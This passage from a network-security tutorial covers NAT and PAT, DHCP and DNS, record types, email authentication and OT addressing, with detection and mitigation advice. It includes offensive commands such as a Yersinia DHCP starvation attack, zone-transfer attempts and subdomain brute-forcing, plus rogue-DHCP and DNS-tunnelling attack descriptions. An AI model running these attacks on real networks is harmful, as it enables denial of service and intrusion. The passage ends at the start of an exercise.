Many private IPs share one public IP, differentiated by source port.
This is what virtually every home router and most corporate NAT devices implement.
Covered in detail in Section 10.

Port Forwarding (Destination NAT / DNAT):
Inbound traffic to a specific public IP:port is redirected to a private IP:port.

Example: All traffic to 203.0.113.1:80 → 192.168.1.100:80 (internal web server)

Security: explicitly exposes a specific internal host to the internet.
Must be carefully controlled — unauthorised port forwarding is a security incident.

9.3 NAT Security Implications

NAT is NOT a security control — it is an address translation mechanism:

Common misconception: "We're behind NAT, so we're protected"

Why this is wrong:
  1. Outbound connections bypass NAT protection entirely
     Malware can establish outbound connections to C2 servers
     NAT translates and allows these — it only blocks UNSOLICITED inbound

  2. NAT traversal techniques bypass inbound filtering:
     STUN (Session Traversal Utilities for NAT): used by WebRTC
     TURN (Traversal Using Relays around NAT): relay-based bypass
     UPnP (Universal Plug and Play): applications self-configure port forwarding
     ICMP tunnelling: encapsulate traffic in ICMP (sometimes passes NAT)

  3. UPnP is a significant vulnerability:
     By default, applications can call UPnP to open arbitrary port forwards
     Malware does this to create persistent inbound access

     # Check if UPnP is running on your router:
     sudo nmap -sU -p 1900 192.168.1.1        # SSDP/UPnP discovery
     upnpc -l                                  # List current port forwards (miniupnpc package)

  4. Application Layer Gateway (ALG) vulnerabilities:
     NAT must understand some protocols (FTP, SIP, H.323) to translate correctly
     ALG implementations have had vulnerabilities
     NAT-ALG for FTP has been exploited to reach internal hosts

Forensic implications of NAT:

Problem: NAT hides the true source of connections
  Security camera records show: IP 203.0.113.1 accessed the server
  But who was it? Could be any of 5,000 internal hosts using that NAT

Solution: NAT logging is mandatory for attribution
  Every enterprise firewall/NAT device should log:
  - Timestamp of translation creation
  - Inside local IP:port
  - Inside global IP:port
  - Outside IP:port
  - Protocol
  - Duration

  Without NAT logs, incident response attribution is impossible.
  Log format: May 29 10:00:01 firewall %NAT-6-LOG: TCP src 192.168.1.50:54321
              dst 203.0.113.50:80 translated to src 203.0.113.1:12345

Key Insight: NAT's protection is entirely passive — it blocks unsolicited inbound connections because there is no NAT entry to translate them. The moment a connection is initiated from inside (which malware always does), NAT becomes invisible. Every reverse shell, every HTTPS C2 beacon, every DNS tunnel — all traverse NAT without obstruction. NAT logging is the only forensic tool that allows attribution after an incident.

10. PAT — Port Address Translation

10.1 How PAT Differs from NAT

PAT (Port Address Translation), also called NAT Overload or NAPT (Network Address and Port Translation), is the specific technique that allows many private hosts to share a single public IP address by using different source port numbers to distinguish connections.

PAT in action — three internal hosts accessing the same web server:

Inside:                    Public:              Outside:
192.168.1.10:51000  ────→  1.2.3.4:40001 ────→  93.184.216.34:80
192.168.1.20:51000  ────→  1.2.3.4:40002 ────→  93.184.216.34:80
192.168.1.30:51000  ────→  1.2.3.4:40003 ────→  93.184.216.34:80

All three inside hosts use the same source port (51000) from their perspective.
PAT allocates unique source ports on the public side (40001, 40002, 40003).
The external server sees three connections from 1.2.3.4 on different source ports.
When response arrives to 1.2.3.4:40001, PAT knows to send it to 192.168.1.10:51000.

10.2 Port Exhaustion

PAT source ports are 16-bit (0-65535). With 1,024 reserved ports, approximately 64,511 simultaneous connections per public IP are theoretically possible. In practice, the limit is lower due to OS state, timeout timers, and memory.

Port exhaustion attack:
An attacker from inside the NAT could rapidly open connections to an external server, exhausting the PAT table and preventing other internal hosts from making new connections. This is a DoS attack against the NAT device itself.

Large-scale NAT and Carrier-Grade NAT (CGN):
ISPs use CGN (100.64.0.0/10 range) to NAT entire customer networks behind a shared IP. Multiple customers share one public IP. Port exhaustion here affects all sharing customers.

From a security/forensics perspective: CGN makes attribution even harder — millions of customers may share a single IP.

11. DHCP — How IP Addresses Are Assigned

11.1 The DORA Process

DHCP (Dynamic Host Configuration Protocol, RFC 2131) automates IP address assignment. The four-step process is called DORA:

CLIENT                                      DHCP SERVER
  │                                              │
  │ DISCOVER (broadcast, src: 0.0.0.0:68)       │
  │ ─────────────────────────────────────────→  │
  │ "I need an IP address"                       │
  │ Src IP: 0.0.0.0  (no IP yet)                │
  │ Dst IP: 255.255.255.255 (broadcast)          │
  │ Transaction ID: 0x12345678                   │
  │                                              │
  │ ←───────────────────────────────────────── │
  │ OFFER (unicast or broadcast)                 │
  │ "I offer you 192.168.1.50"                   │
  │ Offered IP: 192.168.1.50                     │
  │ Server IP: 192.168.1.1                       │
  │ Lease time: 86400 seconds (24 hours)         │
  │ Gateway: 192.168.1.1                         │
  │ DNS: 8.8.8.8, 8.8.4.4                       │
  │ Subnet mask: 255.255.255.0                   │
  │                                              │
  │ REQUEST (broadcast)                          │
  │ ─────────────────────────────────────────→  │
  │ "I accept 192.168.1.50 from server .1"       │
  │ Broadcast — informs other DHCP servers too   │
  │                                              │
  │ ←───────────────────────────────────────── │
  │ ACKNOWLEDGE (ACK)                            │
  │ "Confirmed. 192.168.1.50 is yours for 24h"  │
  │                                              │
  [Client configures interface with offered params]

DHCP Options — what DHCP can configure:

Option 1:   Subnet Mask
Option 3:   Default Gateway (Router)
Option 6:   DNS Servers
Option 12:  Hostname
Option 15:  Domain Name
Option 28:  Broadcast Address
Option 42:  NTP Servers
Option 43:  Vendor-specific options (used by PXE boot, VoIP phones, OT devices)
Option 51:  Lease Time
Option 54:  DHCP Server IP
Option 58:  Renewal Time (T1) — when to start renewing (50% of lease time)
Option 59:  Rebinding Time (T2) — when to broadcast for any DHCP server (87.5%)
Option 60:  Vendor Class Identifier (client announces its type)
Option 61:  Client Identifier (usually MAC address)
Option 66:  TFTP Server Name (for network boot)
Option 67:  Bootfile Name (for PXE boot)
Option 82:  DHCP Relay Agent Information (circuit ID, remote ID)
Option 119: Domain Search List
Option 121: Classless Static Routes (inject routes into clients)
Option 252: WPAD URL (web proxy auto-discovery — Option 252 is the de facto standard)

Option 121 — Classless Static Routes (CVE-2024-3661 / TunnelVision):
This is a critical vulnerability disclosed in May 2024. A rogue DHCP server can use Option 121 to inject arbitrary routes into a client's routing table. By routing all traffic through the attacker's gateway and adding a specific route for the VPN's traffic, the attacker can force VPN traffic outside the encrypted tunnel — bypassing VPN protections and enabling plaintext traffic interception.

Attack scenario:
1. Attacker deploys rogue DHCP server on Wi-Fi network
2. Serves Option 121: route 0.0.0.0/1 via attacker, 128.0.0.0/1 via attacker
   (Splits the default route — more specific than VPN's /0 route)
3. All traffic routes outside the VPN tunnel to the attacker
4. VPN client still shows "connected" — no indication of bypass

Affected: All OSes that honour DHCP Option 121 with VPN active
Not affected: Android (ignores Option 121), Linux with network namespace VPNs
Mitigations:
  - Run VPN in isolated network namespace (Linux)
  - Disable DHCP Option 121 processing
  - Use VPN with kill switch and route protection

11.2 DHCP Attacks

DHCP Starvation:

Attack:
  Attacker sends thousands of DHCP DISCOVER messages
  Each with a different spoofed MAC address (Option 61: Client Identifier)
  DHCP server allocates one IP per request
  IP pool is exhausted
  Legitimate clients receive no IP addresses → DoS

Tool: dhcpstarv, Yersinia
  sudo yersinia dhcp -attack 1    # DHCP starvation

Detection:
  DHCP server logs show massive number of DISCOVER/OFFER pairs
  Short time between pool exhaustion events
  Many entries in DHCP lease table with sequential MAC addresses (00:0c:29:xx:xx:xx format)

Mitigation:
  DHCP snooping on switches: limits DHCP messages per port per second
  Cisco: ip dhcp snooping limit rate 15  (15 DHCP packets/second max per port)

Rogue DHCP Server:

Attack:
  Attacker deploys their own DHCP server on the network
  Responds to DISCOVER messages faster than the legitimate server
  Clients accept the first OFFER received
  Attacker's OFFER configures:
    - Client's gateway: attacker's IP → all traffic through attacker (MITM)
    - Client's DNS: attacker's DNS server → DNS hijacking
    - Client's routes (Option 121): attacker's routes

This is the complete network takeover without touching a single firewall.

Detection:
  Multiple DHCP servers advertising on the network
  dhcpdump: capture all DHCP traffic and alert on unexpected server IPs
  DHCP snooping: designate trusted ports — only allow DHCP OFFER from trusted

Cisco DHCP snooping:
  ip dhcp snooping vlan 10          # Enable for VLAN 10
  ip dhcp snooping                  # Enable globally
  interface gi0/1
   ip dhcp snooping trust           # Uplink to real DHCP server — trusted
  interface gi0/2                   # User-facing ports — untrusted by default
   (DHCP OFFER from this port is dropped)

WPAD — Web Proxy Auto-Discovery (DHCP Option 252):

Attack chain:
1. DHCP server (rogue or legitimate) includes Option 252:
   wpad=http://wpad.company.local/wpad.dat
2. Browser fetches wpad.dat automatically
3. Attacker controls wpad.dat content
4. wpad.dat configures browser to use attacker as proxy
5. Attacker proxies and MITMs all HTTP/HTTPS traffic

Defence:
  Disable WPAD in browser settings
  Block port 80/8080 outbound to unknown hosts
  DHCP snooping prevents rogue DHCP from serving WPAD URL
  DNS: ensure wpad.<domain> does not resolve to attacker-controlled IP

# DHCP monitoring and analysis:
sudo dhcpdump -i eth0               # Monitor all DHCP traffic

# Capture DHCP traffic:
sudo tcpdump -i eth0 -n 'port 67 or port 68'

# Check DHCP lease information on Linux:
cat /var/lib/dhcp/dhclient.leases   # DHCP lease file
dhclient -v eth0 2>&1               # Verbose DHCP negotiation

# On Windows:
ipconfig /all                       # Shows DHCP server IP, lease times
ipconfig /release                   # Release current IP
ipconfig /renew                     # Get new IP from DHCP

Key Insight: DHCP is trusted implicitly by every OS — there is no authentication mechanism. The first server to respond wins. This means physical network access (plugging into an Ethernet port or connecting to Wi-Fi) combined with a rogue DHCP server grants an attacker full network MITM capability without any exploit. DHCP snooping is the only reliable mitigation, and it requires managed switch infrastructure.

12. DNS — How Names Become Addresses

12.1 The DNS Hierarchy

DNS is a globally distributed, hierarchical database. Understanding its structure is essential because attacks target every level of the hierarchy.

DNS Hierarchy:
                          . (Root)
                         / \
                        /   \
                      .com  .org  .net  .tr  .io  ...
                      /
                  google.com
                  /          \
           www.google.com   mail.google.com

Authoritative name servers exist at every level:
  Root: 13 root server clusters (a.root-servers.net through m.root-servers.net)
  TLD:  .com managed by Verisign, .org by PIR, .tr by NIC.tr, etc.
  Domain: google.com managed by Google's own nameservers (ns1.google.com, etc.)

12.2 DNS Resolution — The Complete Process

Query: What is the IP address of www.example.com?

1. Client checks local DNS cache → not found
   (Linux: /etc/hosts → /etc/nsswitch.conf → resolver)

2. Client queries configured resolver (stub resolver)
   Usually: ISP's DNS, 8.8.8.8, 1.1.1.1, or internal DNS server
   Type: Recursive query ("find the answer for me, wherever it is")

3. Resolver checks its cache → not found (assume cold start)

4. Resolver queries ROOT servers (hardcoded list of 13 clusters)
   Question: "Who handles .com?"
   Root response: "Ask c.gtld-servers.net (192.26.92.30) for .com"
   (Non-recursive, referral response)

5. Resolver queries .com TLD server (c.gtld-servers.net)
   Question: "Who handles example.com?"
   TLD response: "Ask ns1.example.com (93.184.216.x) for example.com"
   (Non-recursive, referral response)

6. Resolver queries example.com's authoritative server (ns1.example.com)
   Question: "What is the IP of www.example.com?"
   Auth server response: "www.example.com → 93.184.216.34 (A record, TTL=86400)"
   (Authoritative answer)

7. Resolver caches the answer for TTL seconds (86400 = 24 hours)
   Resolver sends answer to client

8. Client caches the answer for TTL seconds
   Client connects to 93.184.216.34

Total time: typically 50-300ms for cold query, <1ms for cached

12.3 DNS Security Mechanisms

DNSSEC — DNS Security Extensions:
DNSSEC adds cryptographic signatures to DNS records. The resolver can verify that the answer came from the legitimate authoritative server and was not tampered with.

DNSSEC chain of trust:
  Root (.) signs .com
  .com signs example.com
  example.com signs www.example.com record

Without DNSSEC: anyone who controls the network path can lie about DNS
With DNSSEC: forged records are rejected (wrong signature)

Check if a domain is DNSSEC-signed:
dig +dnssec www.cloudflare.com AAAA    # Look for AD flag (Authenticated Data)
dig DS cloudflare.com @8.8.8.8        # Check delegation signer record

Check DNSSEC validation at resolver:
dig +short sigchase www.cloudflare.com  # Full DNSSEC chain validation

DoH and DoT — Encrypted DNS:

DNS over HTTPS (DoH, RFC 8484):
  DNS queries sent as HTTPS requests to a DoH resolver
  Port 443 — indistinguishable from web traffic
  Prevents ISP/network-level DNS monitoring
  Prevents DNS hijacking by intermediate devices

  Disadvantage for defenders: traditional DNS monitoring is blind to DoH

DNS over TLS (DoT, RFC 7858):
  DNS queries encrypted with TLS
  Port 853 — distinct port, can be blocked if needed
  Easier for enterprises to manage than DoH

Configure DoH on Linux (systemd-resolved):
  sudo nano /etc/systemd/resolved.conf
  # Add:
  DNS=1.1.1.1 8.8.8.8
  DNSOverTLS=yes
  sudo systemctl restart systemd-resolved

12.4 DNS Attack Techniques

DNS Cache Poisoning:

Attack (Kaminsky Attack, 2008, Dan Kaminsky):
  Before the fix: DNS used sequential transaction IDs (16-bit)

  1. Attacker triggers resolver to query attacker-controlled domain
     (Forces a DNS query to flow through the process)
  2. Attacker floods resolver with forged responses:
     Claiming to be the authoritative server for "google.com"
     Each forged response has a different transaction ID
     When the attacker guesses the right ID, the poison is injected
  3. Resolver caches the fake record for TTL seconds
  4. All clients using that resolver get the fake IP for "google.com"

Fix: DNS source port randomisation + DNSSEC validation
     Resolver now uses random source port AND random transaction ID
     Probability of guessing both: 1/65535 × 1/65535 ≈ negligible

Modern DNS cache poisoning:
  Still occurs via:
  - Compromising the authoritative name server
  - BGP hijacking the IP space of the name server
  - MITM on unencrypted DNS (DoH/DoT mitigate)

Detection:
  Periodic DNS consistency checks from multiple vantage points
  Alert on TTL anomalies (poisoned records often have short/wrong TTL)
  DNSSEC validation rejects poisoned responses

DNS Tunnelling:

Concept: Encode arbitrary data in DNS queries and responses
         DNS is allowed through most firewalls
         Data exfiltration and C2 that bypasses network controls

Mechanism:
  Exfiltration direction (client → attacker):
    Encode data as subdomains: base64(data).attacker-domain.com
    Send DNS query for this "domain"
    Attacker controls the DNS server for attacker-domain.com
    DNS server receives the query, decodes the data from the subdomain
    Returns a valid (but irrelevant) DNS response

  Command direction (attacker → client):
    Attacker encodes commands in DNS responses (TXT records, CNAME, MX)
    Malware queries for specific subdomains and reads the response

Tools:
  iodine: Tunnels IP over DNS
  dnscat2: DNS-based C2 framework
  DNSExfiltrator: Data exfiltration via DNS
  Cobalt Strike: DNS C2 mode (commonly used by APT groups)

Detection:
  High DNS query volume from a single host (baseline: ~100 queries/minute normal)
  DNS queries with unusually long subdomains (>50 characters is suspicious)
  DNS queries to domains with high entropy subdomain labels
  DNS queries that don't correspond to network activity (no subsequent TCP connections)
  Queries for domains with randomised names (DGA — domain generation algorithm)

  # Detect long DNS queries in Wireshark:
  # Filter: dns and frame.len > 200

  # Command-line detection:
  sudo tcpdump -i eth0 -n 'port 53' -A | grep -E '\.[A-Za-z0-9+/]{20,}\.'

  # Passive DNS monitoring with zeek:
  # dns.log shows all DNS activity with full query names

Subdomain Takeover:

How it happens:
  1. Company creates CNAME: blog.company.com → company.github.io
  2. Company stops using GitHub Pages but forgets to remove the CNAME
  3. company.github.io is now "dangling" — no content claimed on GitHub
  4. Attacker creates GitHub Pages account for company.github.io
  5. Attacker now controls what blog.company.com serves
  6. Can serve phishing pages, malware, steal cookies (same origin as company.com)

High-profile impact: Subdomain takeover has been used to steal session cookies
from users visiting company subdomains, send phishing emails from legitimate
company domains, and bypass CSP policies.

Detection and prevention:
  Enumerate all DNS records and verify each CNAME target exists and is owned

  # Tools: subjack, tko-subs, can-i-take-over-xyz (GitHub)
  subjack -w subdomains.txt -t 100 -o results.txt -ssl

  # Manual check:
  dig CNAME blog.company.com +short           # Find CNAME target
  curl -I https://company.github.io           # Verify target exists
  # If 404 or "page not found" → potentially takeable

# DNS reconnaissance toolkit:

# Basic lookups:
dig example.com A                   # A record (IPv4)
dig example.com AAAA                # AAAA record (IPv6)
dig example.com MX                  # Mail exchange
dig example.com TXT                 # Text records (SPF, DKIM, DMARC, etc.)
dig example.com NS                  # Name servers
dig example.com SOA                 # Start of Authority
dig -x 8.8.8.8                     # Reverse lookup (PTR record)

# Using specific DNS server:
dig @8.8.8.8 example.com A          # Use Google DNS
dig @1.1.1.1 example.com A          # Use Cloudflare DNS

# Zone transfer attempt (often blocked, but reveals misconfigured DNS):
dig axfr @ns1.example.com example.com
# If successful: dumps entire DNS zone (all records)
# This is a critical misconfiguration — exposes all internal hostnames

# Subdomain enumeration:
# Passive (no direct queries to target):
subfinder -d example.com -o subdomains.txt    # Uses passive sources
amass enum -passive -d example.com

# Active (queries target DNS):
gobuster dns -d example.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# Brute force DNS with massDNS:
massdns -r resolvers.txt -t A -o S -w results.txt subdomains.txt

# Check for DNSSEC:
dig +dnssec example.com A

# Check SPF/DKIM/DMARC (email security):
dig TXT example.com | grep "v=spf"
dig TXT _dmarc.example.com
dig TXT default._domainkey.example.com

# Host discovery via reverse DNS (PTR records):
for i in $(seq 1 254); do
    host 192.168.1.$i 2>/dev/null | grep "domain name pointer" | awk '{print $NF}'
done

13. DNS Record Types — The Full Map

13.1 Essential DNS Record Types

Record  Type    Description                          Security Relevance
──────────────────────────────────────────────────────────────────────────────
A       1       IPv4 address for a hostname          Primary attack target — poison this
                example.com → 93.184.216.34          = redirect all traffic

AAAA    28      IPv6 address for a hostname          Same as A but for IPv6
                example.com → 2606:2800:220:1:...    Often less monitored

MX      15      Mail server(s) for a domain          Target for: email spoofing,
                Priority + hostname                  finding mail servers to attack
                10 mail.example.com                 SPF/DKIM/DMARC use MX for context

CNAME   5       Canonical name (alias)               Dangling CNAME = subdomain takeover
                www.example.com → example.com        Multiple subdomains → single target
                                                    CDN configuration

TXT     16      Arbitrary text                       SPF: v=spf1 include:... -all
                                                    DKIM: public key for email signing
                                                    DMARC: v=DMARC1; p=reject; ...
                                                    Domain verification tokens
                                                    Can contain sensitive info (leak)

NS      2       Authoritative name servers           Compromise NS → own entire domain
                example.com NS ns1.example.com       BGP hijack NS IP → poison all records

PTR     12      Reverse DNS (IP → name)             Forensics: identify IPs in logs
                34.216.184.93.in-addr.arpa →        Email: servers without PTR rejected
                example.com                         Recon: find hostnames for IPs

SOA     6       Start of Authority                   Zone transfer: need SOA to start AXFR
                Primary NS, admin email, serials     Serial number reveals update frequency

SRV     33      Service location                     Active Directory critical:
                _kerberos._tcp.domain.com →          SRV records reveal DC location,
                priority weight port target          Kerberos port, LDAP servers
                                                    Used by attackers to find DCs without
                                                    scanning

CAA     257     Certification Authority Auth.        Restricts which CAs can issue certs
                example.com CAA "letsencrypt.org"    If missing: any CA can issue = risk

DNSKEY  48      DNSSEC public key                   Used to verify DNSSEC signatures
DS      43      Delegation Signer                   Links parent/child DNSSEC zones
RRSIG   46      Resource Record Signature           Cryptographic signature on records
NSEC    47      Next Secure (DNSSEC)                Zone walking: enumerate all records
NSEC3   50      Next Secure v3 (hashed)             Prevents zone walking

TLSA    52      TLS Authentication (DANE)            Certificate pinning via DNS
                Associate cert with domain           Requires DNSSEC

SPF     (TXT)   Sender Policy Framework             Which IPs may send email for domain
                v=spf1 ip4:1.2.3.0/24 -all         Missing SPF = email spoofing possible

DKIM    (TXT)   DomainKeys Identified Mail          Public key for email signature verification
                Public key for signature verify     Missing DKIM = email modification undetected

DMARC   (TXT)   Domain-based Message Auth.          Policy for SPF/DKIM failure
                v=DMARC1; p=reject                 p=none: monitor only
                rua=mailto:dmarc@example.com        p=quarantine: mark as spam
                                                   p=reject: reject → prevents phishing

13.2 Active Directory and DNS

Active Directory depends critically on DNS SRV records. When a Windows machine joins a domain, it queries DNS for SRV records to find domain controllers:

# These DNS queries reveal AD infrastructure:
dig _ldap._tcp.dc._msdcs.example.com SRV     # Find domain controllers (LDAP)
dig _kerberos._tcp.dc._msdcs.example.com SRV  # Find KDC (Kerberos)
dig _kpasswd._tcp.example.com SRV              # Find Kerberos password server
dig _gc._tcp.example.com SRV                  # Find Global Catalog server

# Example response:
# _ldap._tcp.dc._msdcs.example.com  600 IN SRV 0 100 389 dc1.example.com

# This tells an attacker: DC is at dc1.example.com on port 389
# No scanning required — DNS reveals the architecture

# Enumerate AD DNS from inside:
python3 -c "
import dns.resolver
domain = 'example.com'
for srvtype in ['_ldap._tcp.dc._msdcs', '_kerberos._tcp.dc._msdcs', '_gc._tcp']:
    try:
        answers = dns.resolver.resolve(f'{srvtype}.{domain}', 'SRV')
        for rdata in answers:
            print(f'{srvtype}: {rdata}')
    except: pass
"

13.3 Email Security DNS Records In Depth

Email spoofing — sending emails that appear to come from a legitimate domain — is trivially easy without proper DNS configuration.

SPF — Sender Policy Framework:

TXT record at the apex domain:
  v=spf1 ip4:203.0.113.0/24 include:sendgrid.net include:mailchimp.com ~all

Mechanisms:
  ip4:IP/mask    → Allow if source IP matches
  ip6:IP/mask    → Allow if source IPv6 matches
  a:hostname     → Allow if source IP is A record of hostname
  mx             → Allow if source IP is MX record of domain
  include:domain → Check that domain's SPF record too
  redirect:domain → Use another domain's SPF record entirely

Qualifiers (before mechanism):
  +  (Pass — allow): default, usually omitted
  -  (Fail — reject): hard fail
  ~  (SoftFail — mark): soft fail, usually accept but mark as suspicious
  ?  (Neutral): no assertion

All mechanism (at end):
  -all  → Hard fail all non-matching senders (recommended)
  ~all  → Soft fail all non-matching (less strict)
  +all  → Pass all (completely useless — anyone can send)
  ?all  → Neutral (nearly useless)

Security check:
dig TXT example.com | grep "v=spf1"
# No SPF record: anyone can spoof email from this domain
# SPF with +all or ?all: SPF is essentially disabled
# SPF with ~all: better, but still allows delivery
# SPF with -all: strongest protection

DKIM — DomainKeys Identified Mail:

TXT record at: selector._domainkey.domain.com
Example: default._domainkey.example.com

Content:
  v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...

How it works:
  1. Mail server signs outgoing email with private key
  2. Signature is added as a header: DKIM-Signature: v=1; a=rsa-sha256; ...
  3. Receiving server fetches public key from DNS
  4. Receiving server verifies signature
  5. If valid: email was not modified in transit, came from claimed domain

Attack without DKIM:
  Attacker intercepts email in transit
  Modifies content (changes bank account number, inserts malware link)
  No detection possible — email arrives with original From: header

Check DKIM:
dig TXT default._domainkey.example.com
# p= field is the public key
# If empty record or no record: DKIM not deployed

DMARC — Domain-based Message Authentication:

TXT record at: _dmarc.domain.com
Example: _dmarc.example.com  IN TXT  "v=DMARC1; p=reject; rua=mailto:dmarc@example.com; ruf=mailto:forensics@example.com; sp=reject; adkim=s; aspf=s; pct=100"

Tags:
  p=none       Monitor only — don't reject. Use during initial deployment.
  p=quarantine Send to spam if SPF/DKIM fail. Intermediate step.
  p=reject     Reject if SPF/DKIM fail. Maximum protection.

  rua= Aggregate reports URI (where to send daily summaries)
  ruf= Forensic reports URI (where to send per-failure reports)

  sp=  Policy for subdomains (same values as p=)
  pct= Percentage of mail to apply policy to (100 = all)

  adkim= DKIM alignment: r=relaxed, s=strict
  aspf=  SPF alignment: r=relaxed, s=strict

DMARC without DKIM/SPF: useless
DMARC with p=none: monitoring only, no protection
DMARC with p=reject: strongest — phishing using your domain fails at delivery

Check DMARC:
dig TXT _dmarc.example.com
# No record: DMARC not deployed — spoofing possible even with SPF
# p=none: monitoring only
# p=reject: strong protection

# Complete email security DNS audit:
DOMAIN="example.com"

echo "=== SPF ==="
dig TXT $DOMAIN | grep "v=spf1" || echo "NO SPF RECORD"

echo "=== DMARC ==="
dig TXT _dmarc.$DOMAIN | grep "v=DMARC1" || echo "NO DMARC RECORD"

echo "=== DKIM (common selectors) ==="
for selector in default google selector1 selector2 k1 s1 mail; do
    result=$(dig TXT ${selector}._domainkey.$DOMAIN 2>/dev/null | grep "v=DKIM1")
    [ -n "$result" ] && echo "DKIM found: selector=${selector}"
done

echo "=== MX records ==="
dig MX $DOMAIN +short

echo "=== CAA records ==="
dig CAA $DOMAIN +short || echo "NO CAA RECORD — any CA can issue certificates"

14. IP Addressing in OT/ICS Environments

14.1 Addressing Challenges Unique to OT

Industrial control systems present IP addressing challenges that do not exist in enterprise IT:

Static vs Dynamic Addressing:
Most OT devices use static IP addresses — DHCP is rarely used for PLCs, RTUs, and IEDs. The reasons are operational:

A PLC must be reachable at a known, fixed address for the HMI to communicate with it
DHCP lease renewal could theoretically interrupt communication at a critical moment
Legacy devices may not support DHCP

Static addressing in OT means:

IP addresses are documented (if you're lucky) or undocumented (common)
Asset inventory is manual and often out of date
Scanning the network for asset discovery causes operational concerns

Flat vs Segmented OT Networks:
Many industrial networks were designed without subnetting. Everything on one flat /24 or even /16. This is operationally simple but security catastrophic:

No segmentation between HMI, PLC, historian, engineering workstation
ARP poisoning reaches all devices
Compromised engineering workstation can reach all PLCs directly

The IT-OT Boundary:
The connection between corporate IT and OT networks is one of the most dangerous misconfiguration points. Common issues:

Router directly connecting IT /24 to OT /24 with no firewall
VLAN separation without firewall — same L3 router handles both
"Air-gapped" networks with unexpected connections (maintenance laptops, remote access for vendors)

# OT network IP discovery (non-disruptive methods):
# Passive discovery — listen only, no active scanning
sudo tcpdump -i eth0 -n -q 2>/dev/null | awk '{print $3}' | sort -u
# Captures source IPs from traffic — non-disruptive

# Passive ARP monitoring:
sudo arp-scan --localnet 2>/dev/null | grep -v "^Starting\|^Interface\|packets"
# ARP scan is L2 — does not touch PLCs/RTUs (they ignore ARP they don't need to answer)

# Active scanning RISK in OT:
# Nmap to a PLC can:
#   - Crash the PLC (some cannot handle SYN flood at scan speed)
#   - Trigger watchdog reset
#   - Fill the PLC's connection table
#   - Generate alarms in the control system
# ALWAYS get explicit permission from the system owner
# ALWAYS use very low scan rates: nmap -T0 -sn (ping only, paranoid timing)
# ALWAYS test on a non-production system first
# NEVER use -sS, -sV, -A on OT devices without explicit testing

# Safe active discovery for OT:
sudo nmap -T1 -sn 10.20.0.0/24     # Ping only, slow timing
# Even this should be approved — some OT devices respond unexpectedly to ICMP

14.2 DHCP in OT Environments

While PLCs and field devices use static IPs, other OT components may use DHCP:

Engineering workstations (EWS)
Human-Machine Interfaces (HMI) — some
Laptops used for maintenance
IP cameras and physical security devices
Network switches (management interface)

A rogue DHCP server in the OT network can poison the gateway for any DHCP-configured device. If the engineering workstation's gateway is poisoned, the attacker sees all communication between the EWS and the PLCs — including ladder logic uploads, configuration changes, and diagnostic data.

14.3 DNS in OT Environments

Most OT field devices (PLCs, RTUs) do not use DNS — they communicate by IP address directly, configured statically. However:

HMI and SCADA servers often use DNS to resolve historian server names, license servers, update servers
Engineering workstations use DNS for everything a standard Windows machine uses DNS for
Some modern PLCs (Siemens S7-1500, Allen-Bradley CompactLogix) support DNS for tag name resolution

DNS for OT attack reconnaissance:
Internal OT hostnames often follow naming conventions that reveal the network structure:

plc-production-1.ot.company.local
hmi-controlroom.ot.company.local
historian-01.ot.company.local
ews-engineer-1.ot.company.local

If an attacker gains access to a DNS server or captures DNS traffic, these hostnames reveal the OT architecture without any active scanning.

15. Hands-On Exercises

Exercise 1: Binary and Subnetting Mastery (45 minutes)

# Build a subnetting calculator from scratch in Python:
cat > /tmp/subnet_calc.py << 'EOF'
#!/usr/bin/env python3
"""
Manual subnetting calculator — build intuition by doing it step by step
"""

def decimal_to_binary(n):
    """Convert decimal to 8-bit binary string."""
    return format(n, '08b')

def ip_to_binary(ip):
    """Convert IP string to binary string."""
    octets = [int(o) for o in ip.split('.')]
    return '.'.join(decimal_to_binary(o) for o in octets)

def binary_to_ip(binary):
    """Convert 32-bit binary string to IP."""
    # Remove dots if present
    clean = binary.replace('.', '')
    octets = [int(clean[i:i+8], 2) for i in range(0, 32, 8)]
    return '.'.join(str(o) for o in octets)

def prefix_to_mask(prefix):
    """Convert prefix length to subnet mask."""
    mask_binary = '1' * prefix + '0' * (32 - prefix)
    return binary_to_ip(mask_binary)

def subnet_info(ip, prefix):
    """Calculate all subnet information."""
    print(f"\n{'='*50}")
    print(f"Input: {ip}/{prefix}")
    print(f"{'='*50}")

    # Convert to binary
    ip_bin = ip_to_binary(ip).replace('.', '')
    mask = prefix_to_mask(prefix)
    mask_bin = ip_to_binary(mask).replace('.', '')

    # Network address (AND)
    net_bin = ''.join('1' if ib == '1' and mb == '1' else '0'
                      for ib, mb in zip(ip_bin, mask_bin))

    # Broadcast (OR with inverted mask)
    wildcard_bin = ''.join('0' if b == '1' else '1' for b in mask_bin)
    bcast_bin = ''.join('1' if nb == '1' or wb == '1' else '0'
                        for nb, wb in zip(net_bin, wildcard_bin))

    network = binary_to_ip(net_bin)
    broadcast = binary_to_ip(bcast_bin)
    mask_str = mask
    wildcard = binary_to_ip(wildcard_bin)

    # Host count
    host_bits = 32 - prefix
    total = 2 ** host_bits
    usable = max(0, total - 2)

    # First and last host
    first_bin = net_bin[:-1] + '1' if prefix < 32 else net_bin
    last_bin = bcast_bin[:-1] + '0' if prefix < 32 else bcast_bin
    first_host = binary_to_ip(first_bin)
    last_host = binary_to_ip(last_bin)

    print(f"\nBinary representations:")
    print(f"  IP:       {ip_to_binary(ip)}")
    print(f"  Mask:     {ip_to_binary(mask)}")
    print(f"  Network:  {ip_to_binary(network)}")
    print(f"  Broadcast:{ip_to_binary(broadcast)}")

    print(f"\nDecimal values:")
    print(f"  Network address:   {network}")
    print(f"  Subnet mask:       {mask_str}")
    print(f"  Wildcard mask:     {wildcard}")
    print(f"  Broadcast address: {broadcast}")
    print(f"  First host:        {first_host}")
    print(f"  Last host:         {last_host}")
    print(f"  Usable hosts:      {usable}")

# Test cases:
subnet_info("192.168.1.100", 24)
subnet_info("10.0.0.1", 8)
subnet_info("172.16.5.200", 20)
subnet_info("192.168.10.130", 25)
EOF
python3 /tmp/subnet_calc.py

Exercise 2: DNS Reconnaissance (45 minutes)

# Complete DNS reconnaissance of a target domain
TARGET="cloudflare.com"   # Use a public domain — always legal to query public DNS

echo "=== Basic Records ==="
dig A $TARGET +short          # IPv4
dig AAAA $TARGET +short       # IPv6
dig MX $TARGET +short         # Mail servers
dig NS $TARGET +short         # Name servers
dig SOA $TARGET +short        # SOA

echo "=== Email Security ==="
dig TXT $TARGET | grep -E "v=spf1|v=DKIM1"
dig TXT _dmarc.$TARGET +short

echo "=== Zone Transfer Attempt ==="
